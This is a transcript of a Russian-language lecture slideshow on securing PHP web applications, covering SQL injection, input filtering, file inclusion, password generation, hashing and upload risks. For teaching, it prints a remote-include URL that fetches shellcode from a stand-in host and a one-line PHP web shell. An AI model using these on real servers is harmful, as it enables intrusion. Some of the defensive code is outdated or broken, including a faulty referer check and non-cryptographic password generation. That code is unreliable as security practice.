1 / 94

Обеспечение информационной безопасности

Обеспечение информационной безопасности. для web- приложений, информационных систем и автономных программ. Информационная безопасность web -приложений.

summer
Download Presentation

Обеспечение информационной безопасности

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Обеспечение информационной безопасности для web-приложений, информационных систем и автономных программ

  2. Информационная безопасность web-приложений • По определению Википедии «Информационная безопасность — это состояние защищённости информационной среды, защита информации представляет собой деятельность по предотвращению утечки защищаемой информации, несанкционированных и непреднамеренных воздействий на защищаемую информацию, то есть процесс, направленный на достижение этого состояния».

  3. Информационная безопасность web-приложений • По отношению к сайту угрозы делятся на внутренние и внешние. Соответственно, хакерская атака на сайт магазина будет рассматриваться как внешняя угроза, а занесение вируса на компьютер администратора – как внутренняя. К внутренним угрозам также относят кражу информации сотрудниками.

  4. Информационная безопасность web-приложений • По намеренности угрозы бывают преднамеренными и непреднамеренными. Например, к непреднамеренным угрозам можно отнести случайное удаление данных сотрудником. Устранить преднамеренные угрозы сложнее, так как вредоносное ПО или человек, угрожающие сайту, имеют чёткий план действий по преодолению возможной защиты.

  5. Информационная безопасность web-приложений • По цели можно выделить угрозы, направленные на получение данных, уничтожение данных, изменение или внесение данных, нарушение работы ПО, контроль над работой ПО и прочие. Скажем, одной из наиболее частых хакерских атак на сайт какого либо предприятий является получение закрытых сведений для дальнейшего их незаконного использования. Такую угрозу можно классифицировать как внешнюю преднамеренную угрозу, направленную на получение данных.

  6. Информационная безопасность web-приложений • Для обеспечения информационной безопасности сайта можно рекомендовать следующие меры. • Отключение вывода сообщения об ошибках. • Обеспечение информационной безопасности при выполнении запросов к базам данных. • Обеспечение информационной безопасности при отправке данных через поля форм. • Обеспечение информационной безопасности при передаче пароля. • Обеспечение информационной безопасности при загрузке изображений.

  7. Информационная безопасность web-приложений • Отключение вывода сообщения об ошибках. • Если у злоумышленника появится возможность получать отчеты об ошибках, например, в связи с инъекциями в базу данных, он может получить данные о ее структуре и содержимом. Поэтому для того, чтобы эта информация осталась закрытой для пользователей сайта необходимо отключать вывод сообщений об ошибках: • ini_set("display_errors","0")

  8. Информационная безопасность web-приложений • Обеспечение информационной безопасности при выполнении запросов к базам данных. • Риск SQL инъекций возникает всякий раз, когда программист создает динамический запрос к базе, содержащий введённые пользователем данные. Способов предотвращения SQL инъекций три: • Не использовать динамических запросов к базе. • Не использовать пользовательских данных в запросах. • Приводить пользовательские данные к виду, который способна хранить БД.

  9. Информационная безопасность web-приложений • Суть уязвимостей такого типа заключается в том, что через переменные, которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Пример: • SELECT * FROM table WHERE user=$go

  10. Информационная безопасность web-приложений • Допустим, эта переменная $go передается как параметр к сценарию и выполняется SQL-комманда. Хакер может в качестве значения переменой передать user=lamer и сам закрыть условие, а далее внедрить через функцию UNION (эта функция появилась с MySQL4, соответственно, в более ранних версиях такая операция не получится) другую команду SELECT и тем самым получить конфиденциальную информацию из базы (например, пароли) если узнает ее строение.

  11. Информационная безопасность web-приложений • Если бы после условия шли еще какие то другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий). Кстати, в MSSQL злоумышленник мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.). • Для приведения пользовательских данных к нужному виду, чаще всего используется стандартная функция MySQL mysql_real_escape_string().

  12. Информационная безопасность web-приложений • unsigned long mysql_real_escape_string(MYSQL *mysql, char *to, const char *from, unsigned long length). • Эта функция используется для создания допустимой SQL- строки, которую можно использовать в команде SQL. Строка из секции from кодируется в экранированную SQL-строку, принимая во внимание текущую кодировку данного соединения. Результат помещается в секцию to с добавлением концевого нулевого байта. Кодируются следующие символы: NUL (ASCII 0), `\n', `\r', `\', `'', `"' и Ctrl-Z.

  13. Информационная безопасность web-приложений • Обеспечение информационной безопасности при отправке данных через поля форм. • Необходимо постоянно помнить о возможности передачи пользователями неправильных данных (злонамеренной или случайной). В web-приложениях эта опасность выражена еще сильнее, поскольку пользователи могут выполнять системные команды при помощи таких функций, как system( ) или ехес( ). • Следует контролировать метод передачи данных сценарию, отдавая предпочтение методу POST: • $var=$_POST[‘name’];

  14. Информационная безопасность web-приложений • Простейший способ борьбы с потенциально опасным пользовательским вводом - обработка полученных данных стандартной функцией escapeshellcmd( ). • Функция escapeshellcmd( ) экранирует все сомнительные символы в строке, которые могут привести к выполнению потенциально опасной системной команды: • string escapeshellcmd(string команда)

  15. Информационная безопасность web-приложений • В поле, где пользователь вводит информацию, можно отфильтровать данные. Тут важно определить с самого начала, что можно разрешить для пользовательского ввода. Например, разрешим в теле сообщения некоторые теги html, для этого понадобится функция strip_tags. Разрешимиспользоватьтеги <a><b><i> • $string = strip_tags($string, "<a><b><i>");

  16. Информационная безопасность web-приложений • Возможно заменить в переменной потенциально опасные символы эквивалентными конструкциями HTML. Функция htmlspecialchars() заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями. Имеет смысл использовать с параметром ENT_QUOTES.

  17. Информационная безопасность web-приложений • & амперсанд преобразуется в "&"; • " двойные кавычки преобразуются в """ только когда не установлен ENT_QUOTES; • одинарная кавычка преобразуется в "" только когда установлен ENT_QUOTES; • < преобразуется в "<"; • > преобразуется в ">"; • Пример использования: • $string = htmlspecialchars($tring, ENT_QUOTES);

  18. Информационная безопасность web-приложений • В некоторых случаях заранее известен тип переменной, которая будет использоваться в SQL-запросе, например, при добавлении товара, когда необходимо передать id товара в корзину пользователя. Значения id всегда является целочисленным, поэтому нельзя брать эту переменную в кавычки и замена специальных символов тоже не подойдет. Для решения этой задачи воспользуемся функцией intval: • $id= intval ($_GET[‘id’])

  19. Информационная безопасность web-приложений • Злоумышленник может скачать документ с формой ввода и подправить ее параметры. Чтобы избежать подобной ситуации, необходимо в самом начале сценария, обрабатывающего данные, установить проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные). • $referer=getenv("HTTP_REFERER"); • if (!ereg("^www.сервер.ru")) { • print "данные, пришедшие с чужого сервера, запрещены к приему"; • exit;}

  20. Информационная безопасность web-приложений • Некоторые данные, которые должен ввести пользователь, имеют точную структуру, которая заранее известна. Например, поле «email», в своем синтаксисе обязательно должно содержать символы «@», «.». Также есть ограничение на количество символов после «.» . Соответственно нужно проверять данные, получаемые от пользователя. Обычно эта проверка реализуется с помощью функции eregi: • if(!eregi("^[a-zA-Z0-9\._-]+@[a-zA-Z]+\.[a-zA-Z]{2,4}$", $email)) {echo "Неправильный ввод email-адреса.";} • C помощью этой функции также можно вводить ограничение на количество введенных символов.

  21. Информационная безопасность web-приложений • Защита от автоматического заполнения форм. Поля для ввода, особенно там, где не надо проходить регистрацию необходимо защищать от автоматического заполнения. Для этого необходимо использовать тесты Тьюринга, например CAPTCHA. Суть их действия заключается в том, что необходимо распознать текст, введенный на картинке и вписать его в поле рядом. Необходимо чтобы картинка не могла быть распознана программами, но была понятна для человека.

  22. Информационная безопасность web-приложений • Текст на картинке, чтобы его нельзя было распознать как отдельные символы, можно хаотично наклонить, использовать разный размер символов и, например, расположение на разных уровнях. Кроме текста можно также использовать звуковые или графические отображения.

  23. Информационная безопасность web-приложений • Инклуды — тип уязвимостей, при котором существует возможность вывести содержимое определенного файла на сервере или же вставить содержимое файла с другого сервера внутрь сайта. • Локальные инклуды — инклуды, при которых имеется возможность лишь выводить содержимое любых файлов но в пределах данного сервера. Может использоваться для получения конфигурационных файлов и последующего доступа к административной панели или даже базе данных.

  24. Информационная безопасность web-приложений • Удаленные инклуды — уязвимости, при которых злоумышленник может определенным запросом вывести содержимое файла со стороннего сайта внутри данного. С помощью этого злоумышленник может вставить свой вредоносный сценарий, например, шелл-скрипт для управления всеми файлами на сервере, как бы ftp с web - оболочкой) и получить доступ ко всему серверу.

  25. Информационная безопасность web-приложений • Пример уязвимого кода: • http://site.ru/index.php?page=main.html • Такой безобидный запрос выведет содержимое файла main.html на странице сайта. Но злоумышленник может выполнить такой запрос: • http://site.ru/index.php?page=http://evil.ru/shellcode.php • и получить доступ ко всему серверу. Это и будет удаленным инклудом. При отсутствии нужных настроек данный инклуд превращается в локальный.

  26. Информационная безопасность web-приложений • Инклуды возможны при наличии в коде оператора include: • $page=$_GET['page']; • include ($page);

  27. Информационная безопасность web-приложений • Обеспечение информационной безопасности при передаче пароля. • Web-разработчику нужно помнить о том, что криптография, случайные числа и запутывание кода могут существенно изменить уровень безопасности web-приложения. Рассмотрим несколько простых методов создания и использования случайных или уникальных значений в web-приложениях, проведем обзор использования некоторых техник запутывания кода, а также обсудим использование методов криптографии в PHP.

  28. Информационная безопасность web-приложений • Генерация случайных чисел определяется несколькими способами, однако вычислительные генераторы не достигают настоящей случайности, такой как белый шум. Вычисленные числа называются псевдо-случайными. • В PHP существует два различных метода для получения случайного значения. Рассмотрим несколько наиболее популярных функций. • rand(int $min, int $max); • mt_rand(int $min, int $max); • str_shuffle($str); • uniqid($prefix, more_entropy=);

  29. Информационная безопасность web-приложений • Две функции rand() и mt_rand() наиболее часто используемые функции для генерации случайных чисел в PHP. Функция rand(), более старая версия генератора, вытесняется mt_rand(), которая быстрее, более надежная и может работать с максимально большим значением типа integer на большинстве платформ. Функция str_shuffle() не совсем точно отражает сущность генератора случайных чисел. Она смешивает строку, которую получает в качестве аргумента.

  30. Информационная безопасность web-приложений • Также для генерирования случайных уникальных значений широко используется функция uniqid(). Функция uniqid() генерирует уникальный идентификатор на основе текущего времени, выраженного в микросекундах (с помощью php.net). Использование данной функции очень удобно при создании идентификаторов сессий и ключей форм.

  31. Информационная безопасность web-приложений • <?php • print uniqid(“”);//По умолчанию • echo "<br />"; • print uniqid("NETTUTS", TRUE); • //Добавлен дополнительный префикс и установлено значение TRUE для more_entropy • ?>

  32. Информационная безопасность web-приложений • Генерирование случайного пароля. Нельзя полагаться на пользователя, что он придумает достаточно надежный пароль. Генерирование случайного пароля также необходимо при регистрации пользователя или в случаях, когда пользователь теряет свой пароль. Такая практика обеспечивает получение надежного пароля сразу с самого знакомства пользователя с вашим сайтом, а также сокращает некоторое количество строк кода, когда пользователю нужно снова получить доступ.

  33. Информационная безопасность web-приложений • <?php • function randompassword($count){ • $pass = str_shuffle('abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@#%$*'); • return substr($pass,3,$count);//Возвращаемпароль • } • ?> • В данном примере строка смешивается с помощью str_shuffle, а затем формируется строка пароля заданной длины. Таким образом, если Вы хотите сгенерировать пароль длиной 8 символов, то нужно передать функции randompassword () значение 8.

  34. Информационная безопасность web-приложений • <?php • function anorandpass($count) { • $m_rand = mt_rand(); //генерируем случайное целое • $u_id = uniqid("MNO!@#$%^&*=+XYZ", TRUE);//создаем уникальный идентификатор с префиксом, постфиксом и повышенной энтропией • $combine = $m_rand . $u_id;// Комбинируем переменные для формирования строки • $new = str_shuffle($combine);//смешиваем строку • return substr($new, 2, $count);//возвращаем пароль • } • print anorandpass(8); • ?>

  35. Информационная безопасность web-приложений • Если сравнивать два примера, то первый получает статичную строку, перемешивает ее и затем возвращает, а во втором процесс имеет более динамичный характер. В примере два смешиваемая строка не является статичной, каждая ее часть генерируется случайно. В то время, как использование примера 1 будет достаточным в большинстве случаев для генерации надежного пароля, пример 2 позволяет нам быть уверенным, что длина строки и набор символов будут изменяться при использовании, что существенно снижает шансы получить копию пароля.

  36. Информационная безопасность web-приложений • Добавление шума к паролю для улучшения безопасности. Добавление шума к паролю является эффективным способом для увеличения безопасности учетных записей пользователей даже в случае, если злодей получил доступ к базе данных. Если злодей может получить доступ к методу добавления шума, то он может получить расширенные полномочия для управления системой. Поэтому использование техники случайных чисел при хранении пароля делают процесс захвата очень сложным, особенно в условиях, когда информация пользователей и контент хранится в разных базах данных.

  37. Информационная безопасность web-приложений • Создание полноценной системы регистрации пользователей со всеми колокольчиками и свистками выходит за рамки данной лекции, однако покажем простую систему, которая позволит продемонстрировать генерацию шума и использование методов случайных чисел. • Нуженсценарий регистрации пользователя, который сохраняет данные в базе. Нужно создать страницу входа на сервер, которая будет получать данные из базы и проводить аутентификацию пользователя.

  38. Информационная безопасность web-приложений • Криптография в PHP. PHP обеспечивает несколько фундаментальных и практичных функций, которые можно использовать для шифрования данных. Далее рассмотрим алгоритм однопроходного хэширования и коснемся шифрования на основе симметричных ключей. • Однопроходное хэширование используется для безопасного хранения паролей и проверки целостности данные в файлах. Семейство алгоритмов хэширования SHA в настоящее время пользуется популярностью, особенно SHA-1. Даже не смотря на то, что алгоритм SHA-1 имеет ряд недостатков, он активно используется.

  39. Информационная безопасность web-приложений • <?php • ///Однопроходное хэширование SHA-1 • $string = "Netuts is Awesome"; • $hash = sha1($string); • $hash2 = hash('sha1', $string); • echo $hash."<br />"; • echo $hash2."<br /><br />"; • ?>

  40. Информационная безопасность web-приложений • В PHP пользуется почетом SHA-2, который требует версии PHP 5.1.2 или новее. SHA-2 более продвинутый алгоритм по сравнению с SHA-1 и может использовать различную длину хэш кода. • Хэш функция вызывается с помощью hash(algorithm, string). Новая версия PHP функции hash() может быть вызванная с указанием любого однопроходного алгоритма хэширования, который поддерживает PHP (например md5, sha-1, haval, ghost).

  41. Информационная безопасность web-приложений • Если Вы хотите увидеть все зарегистрированные алгоритмы хэширования, то можно использовать: • <?php • //Для PHP5 >= 5.1.2 • print_r(hash_algos()); • ?>

  42. Информационная безопасность web-приложений • HMAC (hash-based message authentication code, хеш-код идентификации сообщений) является смесью между однопроходным хэшированием и шифрованием на основе ключей. Система безопасности на основе HMAC полагается на размер используемого ключа и на стойкость функции хэширования. • <?php • $string_hmac = "Nettuts is Awesome"; • //hash_hmac(algorithm, string to hash, key) • $hmac = hash_hmac('sha1', $string_hmac, 'secret'); • echo $hmac."<br />"; • ?>

  43. Информационная безопасность web-приложений • Обеспечение информационной безопасности при загрузке изображений. • Различные web-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать аватары и/или изображения. • Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в web-приложениях на PHP.

  44. Информационная безопасность web-приложений • Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. • <?php • $uploaddir = 'uploads/'; • $uploadfile = $uploaddir.basename($_FILES['avatar']['name']); • if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadfile)) { • echo "Загрузказавершена"; • } else { echo "Ошибказагрузки"; • }?>

  45. Информационная безопасность web-приложений • Обычно пользователи будут загружать файлы, используя подобную форму: • <form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data"> • Выберитефайлдлязагрузки: <input type="file" name="userfile"> • <input type="submit" name="upload" value="upload"> • </form> • Злоумышленник данную форму использовать не будет. Он может написать небольшой сценарий, который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

  46. Информационная безопасность web-приложений • В данном случае upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Рекомендуется разрешать запись файлов в папки,лежащие вне структуры папок web-сервера. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса web-сервера. • Такой сценарий называется PHP-Shell: • <?php • system($_GET['command']); • ?> • Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос: • shell.php?command= Unix_shell команда

  47. Информационная безопасность web-приложений • Проверка Content-Type. Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type. • В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

  48. Информационная безопасность web-приложений • К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер). Ничего не мешает злоумышленнику установить его в заголовке запроса "Content-Type" ="image/gif”.

  49. Информационная безопасность web-приложений • Проверка содержания файла изображения. Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения.

  50. Информационная безопасность web-приложений • Теперь, если нападающий попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то сценарий все равно выдаст ошибку. • К сожалению, файл может быть действительно в формате GIF или JPEG, и в то же время PHP-сценарием. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных.

More Related